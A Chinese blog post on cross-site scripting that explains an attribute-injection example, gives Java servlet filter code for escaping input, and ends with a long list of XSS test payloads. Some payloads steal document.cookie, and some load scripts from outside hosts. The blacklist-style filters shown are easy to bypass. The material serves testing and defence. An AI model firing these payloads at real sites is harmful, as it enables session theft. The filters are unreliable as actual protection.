【安全系列之XSS】XSS攻击测试以及防御
跨站腳本攻擊
跨站腳本攻擊(Cross Site Scripting),為不和層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆,故將跨站腳本攻擊縮寫為XSS。惡意攻擊者往Web頁面里插入惡意Script(php,js等)代碼,當(dāng)用戶瀏覽該頁之時(shí),嵌入其中Web里面的Script代碼會(huì)被執(zhí)行,從而達(dá)到惡意攻擊用戶的特殊目的。
攻擊實(shí)例
下面為一個(gè)Input標(biāo)簽:
<input type="text" value="value"></input> 當(dāng)用輸入值為" οnfοcus="alert(document.cookie) 時(shí), input標(biāo)簽內(nèi)容變?yōu)?<input type="text" value=""onfocus="alert(document.cookie)"></input>當(dāng)input中的可以執(zhí)行的js腳本被存儲(chǔ)到數(shù)據(jù)庫中。用戶再次取出顯示時(shí)。就會(huì)取到用戶的cookie。從而得到用戶名和密碼。
(1)添加用戶
(2)數(shù)據(jù)庫中存儲(chǔ)可執(zhí)行腳本
(3)編輯用戶(XSS攻擊發(fā)生)
攻擊危害
以上獲取用戶名和密碼只是個(gè)簡(jiǎn)單的xss攻擊,還有跟多的XSS攻擊實(shí)例。例如將用戶導(dǎo)航到其他網(wǎng)站,后臺(tái)掛馬操作等
攻擊預(yù)防
原理:主要采用過濾器對(duì)請(qǐng)求中的特殊字符進(jìn)行編碼轉(zhuǎn)化。從而將可以執(zhí)行的script代碼變?yōu)椴豢梢詧?zhí)行的script腳本存儲(chǔ)到數(shù)據(jù)庫中。一般的java后端采用filter種重寫requestwrapper的形式來實(shí)現(xiàn)xss的過濾和替換
1、使用spring的HtmlUtils,可以使用StringEscapeUtils 中的過濾方法
2、實(shí)現(xiàn)XSS過濾器
/*** spring方式xss過濾器*/ public class XssSpringFilter implements Filter{@Overridepublic void init(FilterConfig filterConfig) throws ServletException {}@Overridepublic void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)throws IOException, ServletException {HttpServletRequest req = (HttpServletRequest) request;chain.doFilter(new XssSpringHttpServletRequestWrapper(req), response);}@Overridepublic void destroy() {}}3、配置XSS過濾器
<!-- spring方式的xss過濾器 --> <filter><filter-name>xssSpringFilter</filter-name><filter-class>cn.aric.xss.XssSpringHttpServletRequestWrapper</filter-class> </filter> <filter-mapping><filter-name>xssSpringFilter</filter-name><url-pattern>/*</url-pattern> </filter-mapping>也可以自己實(shí)現(xiàn)一個(gè)xss的替換和過濾規(guī)則,注意如果要讀取body參數(shù)的話,要注意流只能被讀一次,因?yàn)閞ead的指針已經(jīng)移動(dòng)到了文件末尾,會(huì)出現(xiàn)body找不到的情況這個(gè)時(shí)候你需要讀取了inputStream之后,再將數(shù)據(jù)寫回去
package com.yl.filter;import java.io.BufferedReader; import java.io.ByteArrayInputStream; import java.io.IOException; import java.io.InputStreamReader; import java.nio.charset.Charset;import javax.servlet.ServletInputStream; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletRequestWrapper;import org.springframework.beans.factory.parsing.ReaderEventListener;public class XssHttpServletRequestWrapper extends HttpServletRequestWrapper {boolean isUpData = false;//判斷是否是上傳 上傳忽略public XssHttpServletRequestWrapper(HttpServletRequest servletRequest) {super(servletRequest);String contentType = servletRequest.getContentType ();if (null != contentType)isUpData =contentType.startsWith ("multipart");}@Overridepublic String[] getParameterValues(String parameter) {String[] values = super.getParameterValues(parameter);if (values==null) {return null;}int count = values.length;String[] encodedValues = new String[count];for (int i = 0; i < count; i++) {encodedValues[i] = cleanXSS(values[i]);}return encodedValues;}@Overridepublic String getParameter(String parameter) {String value = super.getParameter(parameter);if (value == null) {return null;}return cleanXSS(value);}/*** 獲取request的屬性時(shí),做xss過濾*/@Overridepublic Object getAttribute(String name) {Object value = super.getAttribute(name);if (null != value && value instanceof String) {value = cleanXSS((String) value);}return value;}@Overridepublic String getHeader(String name) {String value = super.getHeader(name);if (value == null)return null;return cleanXSS(value);}private static String cleanXSS(String value) {value = value.replaceAll("<", "<").replaceAll(">", ">");value = value.replaceAll("%3C", "<").replaceAll("%3E", ">");value = value.replaceAll("\\(", "(").replaceAll("\\)", ")");value = value.replaceAll("%28", "(").replaceAll("%29", ")");value = value.replaceAll("'", "'");value = value.replaceAll("eval\\((.*)\\)", "");value = value.replaceAll("[\\\"\\\'][\\s]*javascript:(.*)[\\\"\\\']", "\"\"");value = value.replaceAll("script", "");return value;}@Overridepublic ServletInputStream getInputStream () throws IOException {if (isUpData){return super.getInputStream ();}else{final ByteArrayInputStream bais = new ByteArrayInputStream(inputHandlers(super.getInputStream ()).getBytes ());return new ServletInputStream() {@Overridepublic int read() throws IOException {return bais.read();}public boolean isFinished() {return false;}public boolean isReady() {return false;}public void setReadListener(ReaderEventListener readListener) { }};}}public String inputHandlers(ServletInputStream servletInputStream){StringBuilder sb = new StringBuilder();BufferedReader reader = null;try {reader = new BufferedReader(new InputStreamReader (servletInputStream, Charset.forName("UTF-8")));String line = "";while ((line = reader.readLine()) != null) {sb.append(line);}} catch (IOException e) {e.printStackTrace();} finally {if (servletInputStream != null) {try {servletInputStream.close();} catch (IOException e) {e.printStackTrace();}}if (reader != null) {try {reader.close();} catch (IOException e) {e.printStackTrace();}}}return cleanXSS(sb.toString ());} }再貼一個(gè)xss的實(shí)現(xiàn),使用正則匹配方式來實(shí)現(xiàn)過濾,但是這樣也有可能出現(xiàn)正則漏洞攻擊,但是安全這東西本身就是相對(duì)而言的。
import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletRequestWrapper; import java.util.regex.Pattern;public class XSSRequestWrapper extends HttpServletRequestWrapper {public XSSRequestWrapper(HttpServletRequest request) {super(request);}@Overridepublic String[] getParameterValues(String parameter) {String[] values = super.getParameterValues(parameter);if (values == null) {return null;}int count = values.length;String[] encodedValues = new String[count];for (int i = 0; i < count; i++) {encodedValues[i] = stripXSS(values[i]);}return encodedValues;}@Overridepublic String getParameter(String parameter) {String value = super.getParameter(parameter);return stripXSS(value);}@Overridepublic String getHeader(String name) {String value = super.getHeader(name);//return stripXSS(value);return value;}public String getQueryString() {String value = super.getQueryString();if (value != null) {value = stripXSS(value);}return value;}private String stripXSS(String value) {if (value != null) {// Avoid anything between script tagsPattern scriptPattern = Pattern.compile("<script>(.*?)</script>", Pattern.CASE_INSENSITIVE);value = scriptPattern.matcher(value).replaceAll("");// Avoid anything in a// e-xpressionscriptPattern = Pattern.compile("src[\r\n]*=[\r\n]*\\\'(.*?)\\\'",Pattern.CASE_INSENSITIVE | Pattern.MULTILINE | Pattern.DOTALL);value = scriptPattern.matcher(value).replaceAll("");scriptPattern = Pattern.compile("src[\r\n]*=[\r\n]*\\\"(.*?)\\\"",Pattern.CASE_INSENSITIVE | Pattern.MULTILINE | Pattern.DOTALL);value = scriptPattern.matcher(value).replaceAll("");// Remove any lonesome </script> tagscriptPattern = Pattern.compile("</script>", Pattern.CASE_INSENSITIVE);value = scriptPattern.matcher(value).replaceAll("");// Remove any lonesome <script ...> tagscriptPattern = Pattern.compile("<script(.*?)>",Pattern.CASE_INSENSITIVE | Pattern.MULTILINE | Pattern.DOTALL);value = scriptPattern.matcher(value).replaceAll("");// Avoid eval(...) e-xpressionsscriptPattern = Pattern.compile("eval\\((.*?)\\)",Pattern.CASE_INSENSITIVE | Pattern.MULTILINE | Pattern.DOTALL);value = scriptPattern.matcher(value).replaceAll("");// Avoid e-xpression(...) e-xpressionsscriptPattern = Pattern.compile("e-xpression\\((.*?)\\)",Pattern.CASE_INSENSITIVE | Pattern.MULTILINE | Pattern.DOTALL);value = scriptPattern.matcher(value).replaceAll("");// Avoid javascript:... e-xpressionsscriptPattern = Pattern.compile("javascript:", Pattern.CASE_INSENSITIVE);value = scriptPattern.matcher(value).replaceAll("");// Avoid vbscript:... e-xpressionsscriptPattern = Pattern.compile("vbscript:", Pattern.CASE_INSENSITIVE);value = scriptPattern.matcher(value).replaceAll("");// Avoid οnlοad= e-xpressionsscriptPattern = Pattern.compile("onload(.*?)=",Pattern.CASE_INSENSITIVE | Pattern.MULTILINE | Pattern.DOTALL);value = scriptPattern.matcher(value).replaceAll("");/*過濾html標(biāo)簽*/Pattern p_html = Pattern.compile("<[^>]+>", Pattern.CASE_INSENSITIVE);value = p_html.matcher(value).replaceAll("");Pattern p_html1 = Pattern.compile("<[^>]+", Pattern.CASE_INSENSITIVE);value = p_html1.matcher(value).replaceAll("");}return value;} }都寫好了之后,記得編寫Filter配置類
@Configuration public class ServletConfig {@Beanpublic FilterRegistrationBean heFilterRegistration() {FilterRegistrationBean registration = new FilterRegistrationBean(new xssFilter());registration.addUrlPatterns("/*");return registration;} }XSS測(cè)試語句
部分測(cè)試:
<script>alert('hello,gaga!');</script> //經(jīng)典語句,哈哈!>"'><img src="javascript.:alert('XSS')">>"'><script>alert('XSS')</script><table background='javascript.:alert(([code])'></table><object type=text/html data='javascript.:alert(([code]);'></object>"+alert('XSS')+"'><script>alert(document.cookie)</script>='><script>alert(document.cookie)</script><script>alert(document.cookie)</script><script>alert(vulnerable)</script><script>alert('XSS')</script><img src="javascript:alert('XSS')">%0a%0a<script>alert(\"Vulnerable\")</script>.jsp%3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e%3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e%3cscript%3ealert(%22xss%22)%3c/script%3e/index.html<script>alert('Vulnerable')</script>a.jsp/<script>alert('Vulnerable')</script>"><script>alert('Vulnerable')</script><IMG SRC="javascript.:alert('XSS');"><IMG src="/javascript.:alert"('XSS')><IMG src="/JaVaScRiPt.:alert"('XSS')><IMG src="/JaVaScRiPt.:alert"("XSS")><IMG SRC="jav	ascript.:alert('XSS');"><IMG SRC="jav
ascript.:alert('XSS');"><IMG SRC="jav
ascript.:alert('XSS');">"<IMG src="/java"\0script.:alert(\"XSS\")>";'>out<IMG SRC=" javascript.:alert('XSS');"><SCRIPT>a=/XSS/alert(a.source)</SCRIPT><BODY BACKGROUND="javascript.:alert('XSS')"><BODY ONLOAD=alert('XSS')><IMG DYNSRC="javascript.:alert('XSS')"><IMG LOWSRC="javascript.:alert('XSS')"><BGSOUND SRC="javascript.:alert('XSS');"><br size="&{alert('XSS')}"><LAYER SRC="http://xss.ha.ckers.org/a.js"></layer><LINK REL="stylesheet"HREF="javascript.:alert('XSS');"><IMG SRC='vbscript.:msgbox("XSS")'><META. HTTP-EQUIV="refresh"CONTENT="0;url=javascript.:alert('XSS');"><IFRAME. src="/javascript.:alert"('XSS')></IFRAME><FRAMESET><FRAME. src="/javascript.:alert"('XSS')></FRAME></FRAMESET><TABLE BACKGROUND="javascript.:alert('XSS')"><DIV STYLE="background-image: url(javascript.:alert('XSS'))"><DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html');"><DIV STYLE="width: expression(alert('XSS'));"><STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE><IMG STYLE='xss:expre\ssion(alert("XSS"))'><STYLE. TYPE="text/javascript">alert('XSS');</STYLE><STYLE. TYPE="text/css">.XSS{background-image:url("javascript.:alert('XSS')");}</STYLE><A CLASS=XSS></A><STYLE. type="text/css">BODY{background:url("javascript.:alert('XSS')")}</STYLE><BASE HREF="javascript.:alert('XSS');//">getURL("javascript.:alert('XSS')")a="get";b="URL";c="javascript.:";d="alert('XSS');";eval(a+b+c+d);<XML SRC="javascript.:alert('XSS');">"> <BODY NLOAD="a();"><SCRIPT>function a(){alert('XSS');}</SCRIPT><"<SCRIPT. SRC="http://xss.ha.ckers.org/xss.jpg"></SCRIPT><IMG SRC="javascript.:alert('XSS')"<SCRIPT. a=">"SRC="http://xss.ha.ckers.org/a.js"></SCRIPT><SCRIPT.=">"SRC="http://xss.ha.ckers.org/a.js"></SCRIPT><SCRIPT. a=">"''SRC="http://xss.ha.ckers.org/a.js"></SCRIPT><SCRIPT."a='>'"SRC="http://xss.ha.ckers.org/a.js"></SCRIPT><SCRIPT>document.write("<SCRI");</SCRIPT>PTSRC="http://xss.ha.ckers.org/a.js"></SCRIPT><A HREF=http://www.gohttp://www.google.com/ogle.com/>link</A>總結(jié)
以上是生活随笔為你收集整理的【安全系列之XSS】XSS攻击测试以及防御的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 【安全系列之跨域】跨域解决方案
- 下一篇: 【性能】模糊查询性能提升